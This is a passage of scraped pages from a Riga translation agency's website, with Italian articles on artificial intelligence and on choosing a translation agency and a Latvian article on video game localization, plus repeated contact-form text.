traduzioni fino a 500 parole è necessario un giorno lavorativo, mentre sarà necessaria mezza giornata lavorativa in più per quelle fino a 1000 parole. Il termine di consegna del lavoro e il costo del servizio vengono accordati di volta in volta su base individuale. Nel prezzo delle traduzioni scritte è inclusa anche la correzione di bozze svolta da un madrelingua della lingua di arrivo e dipende dalle dimensioni del testo da tradurre, dalla sua specificità e dalla combinazione linguistica. Perciò, per ottenere un'offerta più precisa vi preghiamo di contattarci o di visitare la nostra agenzia a Riga, Lāčplēša iela 87C. HAI BISOGNO DI UNA TRADUZIONE CERTIFICATA DA UN NOTAIO? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia --- > Cos'è l'intelligenza artificiale e cosa può fare? Quali sono i miti sull'IA e le sue prospettive future? Leggete questo articolo! - Published: 2024-02-14 - Modified: 2024-08-22 - URL: https://skrivanek.lv/kas-ir-maksligais-intelekts/ - Kategorijas: Articolo - Translation Priorities: Optional CHE COS’È L’INTELLIGENZA ARTIFICIALE? L’intelligenza artificiale (IA o, all’inglese AI) fa parte della nostra vita quotidiana. Essa è con noi mentre utilizziamo internet, ma anche quando regoliamo con dispositivi smart il climatizzatore in ufficio o il riscaldamento in casa, quando facciamo attività fisica e ci vogliamo misurare la pressione sanguigna o quando analizziamo la qualità del nostro sonno. Ultimamente, dato l’aumento della popolarità di programmi che utilizzano l’intelligenza artificiale per generare contenuti che solo l’uomo era in grado di creare, come ad esempio immagini, progetti, saggi, poesie, discorsi e persino opportunità di chattare, il tema dell’intelligenza artificiale sta acquisendo un ruolo particolarmente rilevante. Si tratta della cosiddetta Strong AI (Intelligenza artificiale forte), il cui obiettivo è quello di creare una tecnologia che è in grado di avere la stessa facoltà di pensiero di un umano e la consapevolezza di un essere vivente. Ma tutto ciò è davvero possibile? Conosciamo davvero l’intelligenza umana e di cosa è capace? Vogliamo iniziare il post di questo blog chiedendo alla celebre ChatGPT che cos’è l’intelligenza artificiale; questo è ciò che ha risposto: “L’intelligenza artificiale è un ramo dell’informatica che si occupa dello sviluppo dei programmi e dei sistemi per computer in grado di svolgere compiti che, normalmente, richiederebbero capacità intellettuali proprie dell’uomo. L’intelligenza artificiale studia e prova a creare programmi per computer in grado di pensare, imparare, analizzare, trarre conclusioni e prendere decisioni come fanno gli umani. L'intelligenza artificiale comprende diversi rami: machine learning (apprendimento automatico): Questo ramo dell’IA si concentra sullo sviluppo e modellazione di algoritmi e permette al computer di imparare dai dati e di fare predizioni e classificazioni. deep learning (apprendimento profondo): Questo è un ramo del machine learning e utilizza reti neurali e modelli di apprendimento profondi per eseguire compiti complessi, come può essere la creazione di immagini o il riconoscimento vocale. natural language processing (NLP, trattamento del linguaggio naturale): si tratta di algoritmi e programmi che permettono al computer di capire ed analizzare il linguaggio umano, come anche di svolgere traduzioni e creare modelli di dialogo. robotica: L’IA viene utilizzata per creare robot e dispositivi in grado di capire e rispondere agli stimoli provenienti dall’ambiente circostante, svolgere alcuni compiti e comunicare con le persone. L’intelligenza artificiale può essere utilizzata in molti campi, tra cui la medicina, la finanza, i trasporti, l’arte e molti altri settori. Lo sviluppo dell’intelligenza artificiale continua ad andare avanti e con esso anche il suo potenziale impatto sulle nostre vite, offrendo così nuove opportunità e soluzioni per affrontare compiti complessi. In conclusione, l’intelligenza artificiale è un ramo dell’informatica che si occupa dell’automatizzazione di comportamenti intelligenti facendo fare ai computer cose che gli umani fanno meglio. In poche parole, si può parlare di intelligenza artificiale se un programma per computer è in grado di trovare una soluzione simulando cervello e pensiero umano. Continua a leggere per saperne di più su cosa sia l'IA e su come influisce sulla nostra vita quotidiana. L'INTELLIGENZA ARTIFICIALE E LE SUE POSSIBILITÀ La Commissione europea distingue due tipologie di intelligenza artificiale: software (assistenti virtuali, software per l’analisi di immagini, motori di ricerca, sistemi per il riconoscimento vocale e facciale) e quella incorporata negli hardware dei robot, delle macchine, dei droni e nelle app di internet. Sono più di 50 anni che esiste la tecnologia per l’intelligenza artificiale, ma essa ha visto uno sviluppo particolarmente rapido solo negli ultimi anni grazie a server particolarmente potenti in grado di trattare un grande volume di informazioni in un breve periodo di tempo. Sono molti i settori in cui l'intelligenza artificiale viene utilizzata con frequenza. Ecco alcuni esempi: Browser e assistenti intelligenti Uno degli esempi più evidenti è l’uso che facciamo di internet. Ogni giorno, quando apriamo il nostro browser e ricerchiamo le informazioni che ci interessano, i motori di ricerca tentano di “ricercare, ipotizzare e selezionare” partendo dall’enorme ammontare di input fornito da altri utenti, così da poter fornire risultati di ricerca soddisfacenti. Allo stesso modo, i telefonini con le loro numerose applicazioni e funzionalità ci assistono ogni giorno e ci aiutano ad organizzare la vita, il lavoro e le attività di tutti i giorni. I negozi online e la pubblicità giusta al momento giusto L'intelligenza artificiale è comunemente utilizzata nell'e-commerce e nel digital marketing. Avrete sicuramente notato che poco dopo aver visitato il negozio online di un certo brand o dopo aver ricercato un prodotto specifico che vi interessa, offerte simili appaiono magicamente sul vostro feed di Facebook o di Instagram. I negozi più sviluppati che fanno uso di soluzioni di intelligenza artificiale sono andati perfino oltre: se notano l’acquisto di un cellulare nuovo, la prossima volta proporranno accessori, smartwatch ed altri oggetti specificamente progettati per quel cellulare, invece di un altro telefono dello stesso tipo. Sulla base delle ricerche e acquisti passati o altri comportamenti online, l’IA genera suggerimenti personalizzati. Essa è largamente utilizzata nel commercio ed è molto importante per l’ottimizzazione del prodotto, per la contabilità, per la logistica, ecc. Nel campo dell'assistenza Quando chiamiamo il servizio clienti al telefono, spesso e volentieri la conversazione inizia con un bot che fornisce risposte a domande standard, mentre la connessione con l’operatore avviene solo quando vengono toccati argomenti più specifici che vanno oltre le competenze del bot. I chatbot sono costantemente addestrati e stanno diventando più intelligenti, acquisendo le capacità di portare avanti semplici conversazioni senza bisogno dell’intervento umano. Servizi finanziari Le banche utilizzano l’intelligenza artificiale per tracciare i trasferimenti di denaro e per verificare la loro legittimità. È molto tempo che sono utilizzate soluzioni informatiche per analizzare pagamenti sospetti. Ad esempio, l’intelligenza artificiale e le soluzioni di deep learning di MasterCard ricercano i parametri caratteristici delle transazioni fraudolente e fanno poi esaminare tali casi da specialisti. Anche gli algoritmi di machine learning giocano un ruolo nella borsa valori, analizzando il costo delle azioni e predicendo la fluttuazione del loro prezzo in futuro. Elaborando enormi quantità di dati, l’intelligenza artificiale ricerca in record precedenti delle condizioni simili ed esamina i movimenti avvenuti dopo. L'intelligenza artificiale nel settore della traduzione Ultimamente, sono state sviluppate molte tecnologie legate al settore della traduzione, come la traduzione automatica, e ciò implica un processo traduttivo più veloce ed accurato. Strumenti di traduzione supportati dall’IA, come ad esempio Google Translate, Deepl e Microsoft Translator, hanno cambiato il settore della traduzione da un punto di vista concettuale, permettendo di tradurre facilmente grandi volumi di testi da una lingua ad un’altra. Tuttavia, gli strumenti di traduzione automatica non sono sempre in grado di rendere particolari sfumature di significato e differenze culturali, ma neanche i fatti che accadono nella vita quotidiana, come ad esempio tutti i cambiamenti che il Covid-19 ha portato nelle nostre vite. Quindi, affinché gli strumenti di traduzione automatica possano tradurre testi relativi al Covid-19, è necessario che siano "istruiti" su questo argomento, che raccolgano e testino grandi quantità di dati e che addestrino i modelli linguistici. Pertanto, nel settore della traduzione, i professionisti di alto livello spesso specializzati in un certo tipo di traduzione (legale, medica, ecc. ) avranno sempre un ruolo importante. Consigliamo sempre di affidare a traduttori e revisori professionisti tutti quei testi e documenti che devono essere pubblicati o stampati, ma anche testi settoriali specialistici, riservati e complessi. Quando scegliere traduzioni svolte dall'intelligenza artificiale? La nostra agenzia di traduzione offre servizi di traduzione automatica svolti con lo strumento Skrivanek NMT, frutto del lavoro congiunto dei linguisti specializzati di Skrivanek, accademici e esperti di vari ambiti. Offriamo diverse tipologie di traduzione automatica: traduzione automatica senza post-editing, con un post-editing minimo, o con un post-editing completo. In quest’ultimo caso la traduzione è comparabile al lavoro svolto da un traduttore umano. Consigliamo di utilizzare la traduzione automatica senza post-editing nei casi in cui la priorità è quella di risparmiare tempo e soldi e se il testo sarà utilizzato da un gruppo di persone ristretto per i propri bisogni o per quelli interni all’azienda. Se la traduzione è invece necessaria per comunicare con i clienti, con i partner commerciali o con i colleghi, è consigliato un servizio di post-editing minimo o completo svolto da un professionista madrelingua della lingua di arrivo o da un esperto del settore di riferimento, dato che la traduzione automatica può introdurre nel testo di arrivo le cosiddette “allucinazioni”, ossia elementi inesistenti nel testo di partenza. PROSPETTIVE FUTURE L'intelligenza artificiale e i miti che la circondano Dato che l’IA si sta sviluppando più velocemente di quanto in non addetti ai lavori possano comprendere, ci sono molte leggende che la circondano. Uno dei miti più diffusi è che l'IA toglierà il lavoro alle persone. La paura dei rapidi cambiamenti e delle loro potenziali conseguenze è assolutamente comprensibile ma, secondo gli esperti, coloro pronti a crescere professionalmente e a sviluppare nuove abilità non saranno mai disoccupati. L’intelligenza artificiale ha reso la vita delle persone più semplice, ha aumentato la produttività e ha aumentato lo spazio per la creatività. Le persone quindi non perderanno lavora, ma cambieranno il loro doveri e aree di responsabilità. Gli appassionati di fantasy hanno immaginato scenari alquanto futuristici in cui l’IA conquista il mondo e governa sugli umani. Tuttavia, l’intelligenza artificiale dovrebbe avere un cervello e una facoltà di pensiero simili a quelli umani anche solo per decidere di voler “schiavizzare” l’umanità. Nonostante i passi da gigante fatti nello sviluppo scientifico, la facoltà di pensiero dell’uomo e il potenziale del suo cervello sono ancora sconosciuti; come potrebbe quindi un computer comprenderli meglio di noi? L'IA è solo uno strumento per risolvere problemi complessi che si basa su metodi, algoritmi e simili definiti dall’uomo. Da semplici testi a discussioni intelligenti L’intelligenza artificiale è oggi un insegnante, una guida, un’assistente e persino un’amica, data la sua capacità di rispondere a praticamente qualsiasi domanda, confermando quindi la sua abilità di “pensare” (l’intelligenza artificiale ha persino passato vari esami volti ad identificare il modo di pensare e i ragionamenti propri di un essere umano). Secondo gli esperti, l’IA promette di apportare cambiamenti positivi e significativi in futuro, come un accesso semplificato alle informazioni, all’istruzione, alla sanità e ai trasporti. L’uso dell’IA nelle aziende diventerà sempre più normale sia nel servizio clienti sia nel garantire il funzionamento interno di certi dipartimenti della compagnia. Ci si aspetta un incremento dell’uso dell’IA alche nel settore della sanità. Ma tutto questo richiederà conoscenze tecniche ancora maggiori e una società orientata alle soluzioni. Inoltre, non è possibile ignorare le preoccupazioni di carattere etico legate all’impatto dell’IA, come ad esempio problemi relativi alla protezione dei dati, al copyright, alla responsabilità per la fornitura d’informazioni scorrette o non accurate e per le conseguenze che ciò può avere sull’uomo, all’eccessivo affidamento dell’utente sull’IA e alla mancanza della verifica di dati. Tutto ciò può portare a serie conseguenze. Il mondo sta cambiando rapidamente e inevitabilmente, perciò è necessario adattarsi ed utilizzare le opportunità in modo positivo e responsabile, in modo da promuovere uno sviluppo positivo. --- > Ci sono molte agenzie di traduzione tra cui scegliere, leggete questo articolo per scoprire cosa cercare quando si sceglie quella giusta. - Published: 2024-02-14 - Modified: 2024-08-22 - URL: https://skrivanek.lv/ka-izveleties-tulkosanas-biroju/ - Kategorijas: Articolo - Translation Priorities: Optional COME SCEGLIERE UN’AGENZIA DI TRADUZIONE Probabilmente, la nascita di nuove agenzie di traduzione è dovuta al fatto che aziende e altre attività commerciali hanno compreso l’importanza di servizi di traduzione e localizzazione di alta qualità. Persino in una piccola nazione come la Lettonia ci sono diverse aziende, sia grandi che piccole, che offrono tali servizi. Se la richiesta di traduzioni sia orali che scritte in varie combinazioni linguistiche è frequente, che siano per uso personale o commerciale, è importante che siano svolte velocemente e che siano di alta qualità. La reputazione e il successo della vostra azienda può dipendere dal materiale scritto o dal lavoro di un traduttore in occasione di conferenze o di presentazioni, perciò è essenziale scegliere con attenzione a chi richiedere servizi di traduzione. Per saperne di più sugli elementi a cui prestare attenzione quando scegliete un’agenzia di traduzione con cui cooperare a lungo termine, leggete questo articolo. SIATE CONSAPEVOLI DEI VOSTRI BISOGNI Quando si sa cosa si sta cercando, è più facile definire le proprie esigenze. Di cosa avete bisogno? Dovete tradurre articoli di carattere economico, testi di carattere medico, documenti tecnici o materiali di marketing? O magari un sito web, un articolo di giornale, un contratto, un comunicato stampa o un manuale tecnico? Qual’è il vostro pubblico? La traduzione è per i vostri clienti o per i vostri partner commerciali? Qual’è la lingua del documento originale, quindi la lingua di partenza? In quale lingua avete bisogno la traduzione? Avete bisogno solo di traduzioni scritte o anche di servizi di interpretazione? QUAL È LA DIFFERENZA TRA UN TRADUTTORE E UN INTERPRETE? L'interprete è specializzato nella traduzione orale e lavora ad esempio in occasione di udienze giudiziarie, di incontri di lavoro, di eventi e di conferenze, mentre il traduttore si occupa di testi scritti, ad esempio di tradurre libri, contratti, materiale di marketing, ecc. QUANTO COSTA IL SERVIZIO DI TRADUZIONE? Solitamente, il costo dei servizi di traduzione dipende dal numero di parole o di caratteri nel testo di partenza (l’originale), ma concorrono alla sua definizione anche altri elementi, come la data di consegna del lavoro, la complessità del testo e richieste tecniche. Prima di iniziare il lavoro, riceverete un’offerta di prezzo da parte di un project manager. AGENZIE DI TRADUZIONE E CERTIFICATI DI STANDARD DI GESTIONE DELLA QUALITÀ RICHIESTI Assicuratevi che l’agenzia di traduzione con cui scegliete di collaborare abbia implementato sistemi di gestione della qualità e che lavori con traduttori, interpreti e correttori di bozze professionisti invece di fornirvi traduzioni svolte da software di traduzione automatica che potete ottenere anche da soli. Professionalità, riservatezza, responsabilità nel lavoro, attenzione ai termini di consegna degli ordini, metodi di lavoro etici e sostenibili, ecc. sono confermati da vari certificati ISO. EN ISO 9001 Questo sistema di gestione della qualità conferma che l’agenzia di traduzione ha implementato e sta implementando i processi necessari a garantire che la qualità dei servizi forniti soddisfi sia le richieste dei clienti che i requisiti normativi. EN ISO 14001 Questo certificato conferma l’interesse della nostra azienda per l’ambiente. Di fatti, per lo svolgimento delle nostre attività utilizziamo solo tecnologie e materiali green, effettuiamo la raccolta differenziata, stampiamo solo i documenti necessari, ecc. EN 17100 Questo certificato indica che il processo di selezione di specialisti della traduzione, la comunicazione, la gestione dei progetti, il flusso di lavoro, l’uso della tecnologia ed altri aspetti legati al settore soddisfano standard elevati e i requisiti stabiliti. ISO/IEC 27001 Il sistema di gestione della sicurezza delle informazioni implementato conferma l’uso all’interno dell’agenzia di traduzione di misure di protezione di informazioni e assicura l’esecuzione dei controlli necessari, garantendo la sicurezza e la riservatezza dei dati affidatici dai nostri clienti. ISO 18587 Questo certificato si riferisce ai processi di post-editing di testi tradotti con traduzione automatica e al lavoro congiunto del project manager e del revisore finalizzato all’esecuzione del progetto. REPUTAZIONE DELL'AGENZIA DI TRADUZIONE È solitamente possibile prendere visione delle recensioni, dei progetti e dei nomi dei clienti più importanti di un’agenzia di traduzione consultando il suo sito web. Un’altra cosa da fare è quella di fare una rapida ricerca su Google per vedere quali informazioni si possono trovare sull’agenzia in questione. Vale sempre la pena chiedere consigli ad amici e partner commerciali su quale agenzia di traduzione scegliere per iniziare una collaborazione a lungo termine; è importante sentire il parere di persone che hanno standard di qualità di cui vi fidate. Naturalmente, è possibile anche fare domande all’agenzia di traduzione scelta a riguardo la sua esperienza di lavoro con clienti del vostro stesso settore e con dimensioni simili alle vostre. Il project manager o il/la segretario/a vi informerà quindi sui progetti e sui clienti con cui l’agenzia di traduzione ha lavorato e vi fornirà referenze e contatti. SCADENZE ED EFFICIENZA Dopo la qualità, uno dei fattori più importanti a cui prestare attenzione è la velocità con sui la traduzione viene svolta in relazione alle scadenze. Se avete bisogno di una traduzione, potete chiedere il prezzo e la minore tempistica possibile con cui il lavoro può essere completato direttamente al project manager. Da un’agenzia di traduzione affidabile, ci si aspettano traduzioni di alta qualità consegnate in maniera puntuale. SPECIALISTI IN VARI SETTORI Sono diversi gli ambiti e i settori in cui c’è bisogno di traduzioni, perciò le competenze del traduttore non devono limitarsi alla competenza in una data lingua, ma egli deve anche avere conoscenze di cultura generale e relative a diversi ambiti, magari specializzandosi anche in un campo diverso da quello della filologia. Egli deve inoltre conoscere la cultura e le norme comportamentali della lingua in cui traduce. Una buona agenzia di traduzione collabora solo con traduttori e revisori professionisti che possono occuparsi di testi tecnici almeno in settori come quello finanziario, sanitario, del diritto e del marketing. L’impiego di tali figure garantisce un uso corretto della terminologia nella lingua di arrivo, così da produrre un testo di arrivo tanto professionale quanto quello di partenza. È quindi importante sapere se l’agenzia di traduzione con cui volete lavorare impiega traduttori con l’esperienza necessaria per lavorare sul vostro progetto. NON SOLO SERVIZI DI TRADUZIONE MA ANCHE DI LOCALIZZAZIONE Assicuratevi che l'agenzia di traduzione fornisca anche servizi di localizzazione. Tradurre o adattare un testo non è la stessa cosa: l’adattamento implica anche la localizzazione del testo, andando quindi a modificare idiomi ed espressioni e ad adattare il testo ai requisiti linguistici del pubblico di riferimento. Se vi occupate di marketing, pubblicità, commercio, creazione di siti web, ecc. questo servizio può essere fondamentale, dato che materiale tradotto ma non localizzato potrebbe non raggiungere il mercato a cui punta l’azienda, o potrebbe essere persino frainteso. Di fatti, è probabile che la mentalità del mercato brasiliano e di quello lettone siano differenti, perciò un traduttore che conosce la cultura e le sfumature di significato utilizzate dal pubblico di riferimento saprà anche come rivolgersi ad esso e quali metafore ed espressioni utilizzare. TRADUZIONI CERTIFICATE DA UN NOTAIO Per semplificare ai clienti il processo di legalizzazione dei documenti, molte agenzie di traduzione forniscono anche traduzioni certificate da un notaio, ossia il documento viene certificato da un traduttore qualificato mediante l’apposizione della propria firma, la quale è poi a sua volta certificata da un notaio. Quando si tratta di traduzioni di documenti pubblici, il compito del notaio è quello di assicurarsi che il traduttore abbia istruzione e qualifiche adeguate e di avvertirlo delle sue responsabilità di cui gli articoli 300 e 302 del diritto penale della Repubblica di Lettonia nel caso in cui si forniscano di proposito traduzioni false o incorrette. Se dovete tradurre dei documenti, vale la pena di verificare se l'agenzia di traduzione a cui volete affidarvi offre il servizio di autenticazione notarile. RUOLO DELLA TECNOLOGIA NEL SETTORE DELLA TRADUZIONE Tutti gli ambiti della nostra vita sono influenzati dalla tecnologia, quindi anche il settore della traduzione. Dall’invenzione del computer e di internet sono cambiate molte cose e oggi i traduttori hanno accesso a molte risorse digitali (dizionari, corpora) che riducono il tempo investito nella ricerca terminologica (non è più necessario andare in biblioteca e consultare libri di grandi dimensioni), che permettono una rapida comunicazione con i clienti e con gli altri professionisti del settore e che danno l’opportunità alle agenzie di traduzione di lavorare con i migliori professionisti, non importa quale sia la loro posizione geografica. Un’agenzia di traduzione che si tiene al passo con lo sviluppo tecnologico e con le possibilità offerte dai sistemi di informazione, è un’azienda moderna e in continua crescita. SERVIZI DI TRADUZIONE FORNITI DA REMOTO Una traduzione deve essere facile, veloce e comoda da richiedere. Al giorno d’oggi, traduttori, revisori e correttori di bozze, come anche tutto il personale amministrativo dell’agenzia di traduzione può lavorare da remoto. La comunicazione con il cliente circa il progetto può avvenire dall’inizio alla fine tramite email e la traduzione di documenti firmati elettronicamente può essere svolta direttamente in formato elettronico CONTATTATECI! L’agenzia di traduzione Skrivanek è uno dei principali fornitori di servizi linguistici al mondo e fornisce servizi di traduzione professionali e di alta qualità in oltre 110 lingue. Tutte le traduzioni sono revisionate da un madrelingua della lingua di arrivo e sono rispettate le differenze interculturali e a livello di comportamento da tenere in ambito commerciale. Contattateci o visitate il nostro ufficio a Riga, Lāčplēša iela 87C! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia --- > Investējot videospēļu lokalizācijā, spēļu izstrādātāji paplašina savu tirgu, palielina spēlētāju daudzveidību un uzlabo pārdošanas apjomu. - Published: 2024-01-31 - Modified: 2025-07-16 - URL: https://skrivanek.lv/ka-videospelu-lokalizacija-var-uzlabot-pardosanas-raditajus/ - Kategorijas: Raksti - Translation Priorities: Optional KĀ VIDEOSPĒĻU LOKALIZĀCIJA VAR UZLABOT PĀRDOŠANAS RĀDĪTĀJUS? Iespējas, kā pavadīt savu brīvo laiku, mūsdienās ir bezgalīgas. Kāds joprojām izvēlas iegrimt grāmatu pasaulē, cits savas atpūtas dienas pavada, vienā piegājienā gluži vai ieelpodams sava mīļākā seriāla jaunāko sezonu. Taču visā pasaulē arvien lielāku popularitāti iegūst tieši videospēles. Ja reiz cilvēkiem šķita, ka videospēles ir nišas produkts, kas domāts tikai jauniešiem un galvenokārt asociējās ar brutalitāti, tagad daudzi savas domas ir mainījuši. Videospēles paver krāšņu fantāzijas pasauli, kas uzrunā gan bērnus, gan pieaugušos, turklāt spēļu piedāvājums ir patiešām plašs – sākot no spēlēm prāta asināšanai, beidzot ar sarežģītām un smalki izstrādātām lomu spēlēm, kas spēlētāju ievelk jaunā realitātē. Pēdējos gados pasaules spēļu tirgus piedzīvojis ievērojamu izaugsmi, paplašinot pieejamību dažādās kultūrās un valodās. Auditorija kļūst daudzveidīgāka un spēlētāju skaits turpina pieaugt. NEWZOO dati liecina, ka 2023. gada prognozētie kopējie nozares ienākumi varētu sasniegt 366 miljardus dolāru. 2022. gadā Ķīnas tirgus vien ienesa 45 miljardus dolāru, savukārt Eiropā visvairāk spēlētāju var sastapt Vācijā, kas nozares maciņu papildina par vēl 6 miljardiem dolāru. Šie dati skaidri pasaka – spēļu nozare var būt ienesīga, ja to padara pieejamu plašākai auditorijai. Tas paveicams, spēles lokalizējot un pielāgojot attiecīgajiem reģioniem. KAS IR LOKALIZĀCIJA UN AR KO TĀ ATŠĶIRAS NO TULKOŠANAS? Videospēļu lokalizācija ir sarežģīts process, kura rezultātā saturs tiek ne vien tulkots konkrētajā valodā, bet arī pielāgots šīs valodas, kultūras un reģiona specifikai. Lokalizācija ir daudz visaptverošāka, jo tā pielāgo kultūrā iekodēto nozīmi, idiomas, humoru un spēles mehāniku, lai tā atbilstu auditorijas vēlmēm. Tās mērķis ir radīt iespaidu, ka spēle ir izstrādāta konkrētajam tirgum. KO IETVER LOKALIZĀCIJA: visa satura, tostarp dialogu, instrukciju, mārketinga materiālu un saskarnes, tulkošanu; satura pielāgošanu, lai ievērotu vietējās paražas un normas, un izvairītos no necieņas pret attiecīgo kultūru; spēles pielāgošanu tehniskajiem standartiem, piemēram, tehnoloģiju specifikai, interneta pieslēgumam un cenzūras likumiem; humora lokalizāciju, lai saglabātu sākotnējo intonāciju, jo tiešs tulkojums nereti nav iespējams; jaunu balsu ierakstīšanu konkrētajā valodā. KĀPĒC LOKALIZĒT VIDEOSPĒLES? Common Sense Advisory veiktā aptauja liecina, ka 72% patērētāju lielāko daļu laika izvēlas pavadīt tīmekļa vietnēs, kas ir viņu dzimtajā valodā, no kā izriet, ka šie cilvēki priekšroku dod lokalizētam saturam. Investējot lokalizācijā, spēļu izstrādātāji paplašina savu tirgu, palielina spēlētāju daudzveidību un uzlabo pārdošanas apjomu. LOKALIZĀCIJAS BŪTISKĀKIE IEGUVUMI? Uzlabo un optimizē pārdošanas rādītājus. Lokalizācija ļauj uzņēmumiem paplašināties ārpus vietējā tirgus. Pielāgojot spēli konkrētajam reģionam, potenciālajam spēlētājam ir lielākas iespējas just personiskāku saikni ar spēli. Lokalizācija palīdz uzņēmumam kļūt par pasaules mēroga zīmolu. Palielinās spēlētāju daudzveidība. Lokalizācija paver durvis jaunam spēlētāju tirgum, kam iepriekš spēle nebija pieejama vai saprotama. Spēle piesaista un notur spēlētājus. Ja spēlētājs spēli nesaprot vai valodas un konteksta dēļ ar spēli nespēj asociēties, pastāv lielāka iespēja, ka viņš drīz vien to pametīs un aizmirsīs. Ja spēlētājs jutīs, ka izstrādātājs ir centies spēli pielāgot tieši viņam, interese saglabāsies. Lokalizācija palīdz sargāt uzņēmuma reputāciju. Nespēja izprast mērķauditoriju var nopietni kaitēt zīmola reputācijai. Izvēloties spēli vien pārtulkot, bet nelokalizēt, pastāv lielāks risks neatbilst vai pat aizskart konkrētās kultūras tradīcijas, tādēļ ir svarīgi piesaistīt ekspertus, kas izprot reģiona valodas un kultūras īpatnības. KĀDI IR GALVENIE SAREŽĢĪJUMI SPĒĻU LOKALIZĀCIJĀ? Lai gan spēļu galvenais mērķis ir ievilināt spēlētāju jaunā realitātē un piedāvāt nebijušu pieredzi, spēlētāju nekad nevajadzētu novērtēt par zemu. Konteksta un valodas kļūdas tiks pamanītas vienmēr, un tas var ietekmēt arī spēles nākotni attiecīgajā valstī. Spēļu industrijā kā vienu no veiksmīgākajiem lokalizācijas piemēriem var uzskatīt Polijā radīto “Witcher” sēriju, kur izstrādātāju lielie pūliņi pielāgoties konkrētajai auditorijai ir rezultējušies ar milzu popularitāti visā pasaulē, jo īpaši Ziemeļamerikā un Āzijā. Izstrādājot “The Witcher 3: Wild Hunt”, zīmols to uztvēra tik nopietni, ka visu par lokalizāciju atbildīgo komandu īslaicīgi pārcēla uz spēles izstrādes valsti, lai gūtu autentiskākus rezultātus. Taču ir arī sliktie piemēri. Reiz tulkojuma dēļ krustugunīs nonāca “Call of Duty: Modern Warfare 2”, kad kādā spēles misijā, kas dažādu apstākļu dēļ Krievijas tirgū ir cenzēta, bija iekļauts citāts: “Atcerieties, krieviski nedrīkst”. Citāta mērķis bija informēt, ka šajā misijā krievu valodā runāt nedrīkst, taču japāņu valodā citāts tika pārtulkots kā “Nogaliniet viņus. Viņi ir krievi. ” Galvenais izaicinājums lokalizācijā ir izprast kultūras nianses. Lai radītu cieņpilnu saturu, ir nepieciešama izpratne par konkrēto valodu un kultūru. Visgrūtāk tulkot ir idiomas un humoru, jo tam visbiežāk nav tieša tulkojuma citās valodās. Tāpat grūtības sagādā balss ierunāšana, jo lokalizētajam audio materiālam ir jāatbilst varoņa lūpu kustībām un sejas izteiksmēm. Šādus sarežģījumus risināt spēj tikai eksperts, kuram šī ir dzimtā valoda. Profesionālis sniegs vērtīgu ieskatu vietējās valodas normās un izteicienos. Tiesa, laba lokalizācija nav lēts prieks, tomēr tā ir vērtīgs ieguldījums nākotnē ikvienam spēļu izstrādātājam, kurš vēlas sasniegt plašāku auditoriju. KAS JĀDARA, LAI LOKALIZĀCIJA BŪTU VEIKSMĪGA? Lai gūtu labus panākumus un izpildītu darbu kvalitatīvi, ir jāsāk ar būtiskāko. Jāveic tirgus izpēte, lai izprastu kultūras un valodas nianses, kā arī nerakstītie likumi, lai pareizi pielāgotu saturu un izvairītos no aizskaroša vai klaji maldinoša tulkojuma. Komandā ir jābūt zinošiem cilvēkiem, kuriem pielāgojamā valoda ir dzimtā, lai sniegtu vērtīgu informāciju un plašāku izpratni par valsts valodas un kultūras normām. Spēle jāpapildina ar iespēju spēlētājiem sniegt atsauksmes, tādā veidā veicinot gan atgriezenisko saiti un uzticēšanos, gan lai gūtu vērtīgus padomus un labojumus no cilvēkiem, kuriem šī spēle ir paredzēta. Lokalizēto saturu pirms nodošanas plašākai auditorijai vispirms iespējams arī pārbaudīt, atlasot spēlētāju grupu, kas izspēlē un pārbauda spēli, sniedzot ieteikumus, kritiku un vērtējumu. KĀDI RISKI PASTĀV, JA IZLAIŽ LOKALIZĀCIJAS POSMU? Pirmkārt, kvalitatīva lokalizācija palīdz izvairīties no kritikas vai pat skandāliem par konkrētajai auditorijai nepiemērotu saturu. Kas vienam humors, citam var būt necieņas izrādīšana. Kvalitatīvi pielāgots saturs uzlabo spēlētāja pieredzi un ļauj justies novērtētam. Izlaižot lokalizācijas posmu, pastāv risks zaudēt potenciālu auditoriju vai vēl sliktāk – kļūt par interneta jociņu upuri slikta tulkojuma dēļ, kā tas reiz notika ar spēli “Zero Wing”. Spēle ir bēdīgi slavena ar sliktu angļu valodas tulkojumu – “All your base are belong to us”, kam latviešu valodas (sliktais) tulkojums varētu būt: “Viss jūsu bāze ir piederēt mums”. Neloģiskais tulkojums joprojām ceļo pa tīmekli un savā ziņā arī nosaka spēlētāju viedokli par spēles kopējo kvalitāti. Pārāk burtisks tulkojums zaudē sākotnējo toni, humoru un pat kontekstu, padarot saturu neizprotamu, bet jūsu ieguldītos līdzekļus sliktā tulkotājā – izmestus vējā. Pareiza lokalizācija risina šīs problēmas un pielāgo spēles saturu tā, lai tā 